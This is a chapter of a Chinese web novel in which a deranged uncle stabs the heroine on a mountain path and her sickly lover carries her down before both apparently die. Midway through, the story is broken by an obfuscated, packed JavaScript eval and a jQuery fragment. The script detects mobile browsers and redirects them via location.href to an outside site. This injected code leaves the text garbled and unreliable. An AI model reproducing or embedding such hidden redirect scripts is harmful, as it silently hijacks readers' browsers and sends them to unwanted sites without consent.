79. 双死

作品:《公主成长手札

    王澄也似乎真的是无心看花,一路走走停停,手却一直拉着宁簪不肯松开,反而更加得寸进尺,原本握着的手腕的手渐渐往下滑,扣着她的掌心,与她十指相扣。


    宁簪也不想挣脱,王澄也的手很冰凉,握住她的那一瞬,她被冰的抖了抖,心里越发对他感到心疼:“走累了我们就休息会儿吧。”


    王澄也笑吟吟:“不累。阿簪,这里没有其他人,你有什么事情可以跟我说。”


    “你这一路上跑神了好几次了。”


    宁簪心里揣着事情,一直在犹豫要不要同王澄也开口,没想到率先被王澄也给说破,她突然拉王澄也来看花,实则也是想找个安静的地方同他诉说一下心事:“我心里有点乱。”


    王澄也紧了紧握着她的手,没有说话,知道眼底的情绪很直白的告诉她:我在。


    宁簪吐了口气,将自己的烦恼吐露:“我不是我娘生的,是她从外头捡来的。今日昭乐跟我说,我其实是徐家的女儿,说我的亲生父亲寻了我许多年。可我没有记忆,能记得的就只是我娘捡到我以后的事情。可是,我......”


    “你现在只是同情一个失去女儿的父亲,而非把他当作亲人。”


    王澄也说的正是宁簪心里想的,她点点头,小心翼翼的问他:“我这样是不是很残忍。”


    对一个寻女多年的父亲来说,自己的女儿不认自己,会不会很残忍?


    王澄也摇摇头:“我想不会,再次找到自己寻了许久的人,最先想的是她这些岁月过得好不好,如果她过得好,我就放心了。而且,对我来说,不论你是宁家的女儿,还是徐家的女儿,哪怕你是花是草是蝴蝶,我都喜欢。我只喜欢,眼前之人,无关姓名与身份。”


    宁簪被王澄也突如其来的情话羞得脸色一红,也无心再去多想他的话,只道:“我便是我,无论是何身份。明日,我就拜托昭乐带我去见见他,让他看看‘宁簪’是怎么样的。”


    王澄也笑着抚了抚她的发梢:“好啊,他一瞧我们的阿簪,自然是会很喜欢的。”


    宁簪嘿嘿一笑,被王澄也劝得心情好了大半,晃荡着牵他的那只手,一步一步往青石岭上走去。


    “还有多久到呀?”


    “快了。”王澄也看了看四周,心里估摸着路线。


    秋风渐起,山上的气温比山下低一些,宁簪忍不住瑟缩了一下,王澄也关心道:“冷吗?”


    他下意识想解身上的披风,摸了个空才发现自己把披风落在马车上了,于是他便只能伸手搓着她的双手道:“早知道该给你带件披风的。”


    宁簪今天穿得有点单薄,早起日头大,她只穿了一件杏黄色的缎裙,这会被风吹的起了一阵疙瘩:“无事,又不是寒冬腊月,还能冻着不成,快走吧。我今儿约你出来已经晚了,再耽搁下去,我们得天黑才能下山了。”


    王澄也低头浅笑,由宁簪推着懒懒的往前走了几步。


    只是变故就在一瞬,王澄也还未收起笑意的转瞬凝结在嘴角,前方树丛里窜出来一个头发凌乱的男子,样貌被头发挡着看不清,但他手里拿着的那把匕首明晃晃的映入王澄也的眼底。


    “小心。”


    他惊声呼道,一把将宁簪往自己反方向推开,让那个男子刺了个空。避开匕首后王澄也快速挪到宁簪身旁,将她紧紧的护在怀里。


    宁簪被这突如其来的袭击吓了一跳,直到被王澄也护在怀里才反应过来两人遇到了疯子。


    那疯子扑空之后更显愤怒,扭头盯着两个紧紧相拥的男女,又提起匕首朝两人冲过去。


    “快跑。”


    王澄也拉着宁簪就往山下跑,山下有他的马夫,马夫是个力气壮的,至少能钳制住他。剧烈的逃跑让王澄也的胸口涌上一股气,瞬间堵住了他身上每个口子,他感觉自己有些喘不过气来,忍不住跪倒在地上咳了起来。


    “阿也。”宁簪扶着快倒在地上的王澄也,惊惧交加,泪水一下盈满了眼眶。


    见那疯子仍不管不顾的朝他们冲来,宁簪一咬牙往那人冲了过去,学着秦音之前交过的几招,先是朝那人两腿间一踢,而后又是一脚踹去。


    宁簪的力气小,先头的一脚已经让那疯子痛的跪在地上,后面补上的那一脚力气不够,踢完之后两人双双倒地。


    王澄也忍着痛将宁簪扶起:“咳咳,那疯子一时半会起不来,我们先走吧。”


    “嗯。”


    宁簪的声音里带着哭腔,王澄也止住快要咳出来的声音,安慰道:“多亏了阿簪,才救了我一命。是我这副身子拖累了你,你把我撇下吧,说不定是我大伯生意上的恩怨,与你无关,你快些走吧。”


    宁簪吓得说不出话来,只不停的摇头,手紧紧的搀扶着王澄也,一步一步的往下走,一边走还一边回头看倒地的那个疯子有没有追上来。


    王澄也无奈的苦笑一声,第一次为自己这副病身子感到懊恼。


    他尽力的拥着她跑,也不知跑了多久,就听见耳边传来宁簪的惊呼声,随后手臂一空。


    回头一看,宁簪已经被不知道何时追上来的疯子抓起来丢在一旁,凌乱的发间可以看到他猩红的双眼。


    “不!”王澄也顾不得快死过去的呼吸,捂着胸口往那边跑了几步,恐惧掩盖住了他的虚弱,无端生出一股蛮力,他扑过去抱住那疯子,还未将他拉开,自己就被那体壮的疯子一脚踹翻在地。


    他趴在地上挣扎,颤抖的手中带着一丝祈求:“不要,求你!”


    话音未落,就见被高高举起的匕首,一下子刺进宁簪的胸膛。


    原本被掐住脖子的宁簪瞬间瞪大了眼睛,嘴唇抖动的厉害。


    她缓缓转头,与倒在地上的王澄也对视,想说话却发现自己发不出一点声音来,只能动了动嘴唇。


    王澄也清楚的看见她在说什么,清楚的看到她嘴巴发出来无声的两个字。


    ——阿也


    “噗。”忍了许久的鲜血在此刻喷涌而出,四肢在此刻都化作了无力,他像只牲畜一样,手脚并用向宁簪爬去。


    王澄也的模样在宁簪的眼里开始模糊,她渐渐看不到他的样貌,只有伴随着风中灌入她耳朵的最后一声呼唤,清楚又绝望。


    “阿簪!!!”


    “哈哈哈哈哈。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987119|191466||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将宁簪刺伤的疯子不由得仰天长啸,风吹起他凌乱的头发,露出王澄也熟悉的脸。


    “徐倨!”


    徐倨闻言低头望向抱着宁簪的王澄也,向来风度翩翩的王家小少爷脸上糊满了血,手上和脚上都沾满了泥巴,紧紧抱着怀里的人,有气没气的喘着,只一双眼睛死死的瞪着他,像是要把他生吞活剥了似得。


    “没想到啊,没想到。我这侄女临了临了,还能有个小公子陪葬,在地府做对鬼夫妻也挺好,哈哈哈哈哈。”


    徐倨说完起身,将沾了血的匕首一扔,抬脚往王澄也身上一踢,看着倒地了还不忘护着宁簪的王澄也,他不屑的嗤笑一声:“别这样瞪着我,我已然是穷途末路,那黄泉路上,我也要拉着他最珍爱的人一起走。”


    像是报复刚才宁簪踢他的那一脚,徐倨踢得很重,王澄也倒在地上片刻都起不来。


    他搂了搂怀里的宁簪,轻轻晃了晃她的身体,感觉到怀里的人体温在流失,他慌得声音都在颤抖:“阿簪,阿簪,你醒醒,你看我一眼,阿簪,阿簪!”


    到最后王澄也开始变得语无伦次:“阿簪,我们还没去看花呢,阿簪,我还想同你做夫妻呢,阿簪......”


    他强撑着身子从地上爬起来,颤颤巍巍的将宁簪背在身上:“阿簪,我带你去找大夫,你等着啊!”


    “今天不来找你,是因为我做了个蝴蝶花球,想送你。”


    “阿簪,我若是今天不带你上山来就好了......阿簪,你别同我赌气不说话啊!”


    “阿簪......阿簪......”


    身上的人没有回应,他自欺欺人的同她唠叨了一路,如同上山那般,期盼着背上的人羞得揪他的耳朵骂他。


    只是耳边传来的只有风声,天空在这一瞬间变得暗沉,乌云开始聚拢,一场突如其来的暴雨正蓄势待发。


    下山的山坡有些抖,王澄也整个身子都往下翻去,第一时间将一同翻下来的宁簪护进怀里,只是脑袋撞在土堆里突起的石头,一瞬间头晕目眩。


    “阿簪。”他嘴上喃喃着宁簪的名字,视线有些模糊,再次拥紧怀里没有回应的人。摸索的找到地上的一根枯枝,他撑着一口气起身,再次将宁簪背在身上。


    模糊的山路让王澄也一时分不清方向,只知道向下走,能快点找到大夫来救宁簪,救他的爱人。


    即使身子抖得厉害,失去她的恐惧在心头不住的颤,王澄也还是背着宁簪下了山。


    “阿簪你看,我背你下山了......”


    再也撑不住的王澄也直直往地上倒去,发出的动静惊到了一旁在马车边候着的车夫,他寻声望去,瞬间睁大了眼睛,连忙朝王澄也跑去:“少爷!”


    没想到好端端上山的两人竟然成了这副模样,车夫着急的不行,却不知该从何下手去抱他们。


    “少爷,少爷你说什么?”


    车夫趴着附耳过去听,就听见眼睛已经闭起来的王澄也气若游丝,断断续续道:“阿簪,天上地下,我还是会找到你的。”


    说完,任凭车夫怎么呼喊,躺在地上的两人都没了动静。